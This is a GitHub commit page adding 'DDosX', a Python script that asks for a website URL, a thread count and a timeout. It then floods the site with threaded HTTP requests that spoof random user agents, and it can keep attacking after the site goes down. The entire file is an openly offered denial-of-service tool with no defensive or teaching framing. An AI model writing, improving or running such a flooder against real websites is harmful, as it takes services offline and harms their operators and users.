File tree Expand file tree Collapse file tree 2 files changed +281
-0
lines changed Expand file tree Collapse file tree 2 files changed +281
-0
lines changed Original file line number Diff line number Diff line change
1
+ from os import X_OK
2
+ from colorama import init
3
+ from colorama import Fore , Back , Style
4
+ import requests
5
+ import random
6
+ import threading
7
+
8
+ text_url = input ("$DDosX >>> | Website URL (http://website.com): " )
9
+ url = str (text_url )
10
+ text_threads = input ("$DDosX >>> | Threads: " )
11
+ threads = int (text_threads )
12
+ text_timeout = input ("$DDosX >>> | Timeout: " )
13
+ timeout = int (text_timeout )
14
+ text_keepattack = input (
15
+ "$DDosX >>> | Keep Attack ?(Keep sending requestes even if the site is down | Default: False): " )
16
+ keepAttack = str (text_keepattack )
17
+ print (Fore .GREEN + "$DDosX >>> | Attack has been started for: " + url )
18
+
19
+ downMsgSent = False
20
+
21
+
22
+ def Attack ():
23
+
24
+
25
+ try :
26
+ userAgent = getRandomUserAgent ()
27
+ headers = {'user-agent' : userAgent }
28
+ x = requests .get (url , headers = headers , timeout = timeout )
29
+ if (x .status_code == 200 ):
30
+ if (keepAttack == True or keepAttack == "True" or keepAttack == "true" or keepAttack == "yes" or keepAttack == "on" or keepAttack == "enable" or keepAttack == "y" ):
31
+ Attack ()
32
+ except :
33
+ if (keepAttack == True or keepAttack == "True" or keepAttack == "true" or keepAttack == "yes" or keepAttack == "on" or keepAttack == "enable" or keepAttack == "y" ):
34
+ Attack ()
35
+
36
+
37
+
38
+ def getRandomUserAgent ():
39
+
40
+ useragents = open ('useragents.txt' ).read ().splitlines ()
41
+ useragent = random .choice (useragents )
42
+ return useragent
43
+
44
+
45
+ totalThr = []
46
+ for i in range (threads ):
47
+ thr = threading .Thread (target = Attack )
48
+ thr .start ()
49
+ totalThr .append (thr )
50
+
51
+
52
+
53
+ for cThr in totalThr :
54
+ cThr .join ()
You can’t perform that action at this time.
0 commit comments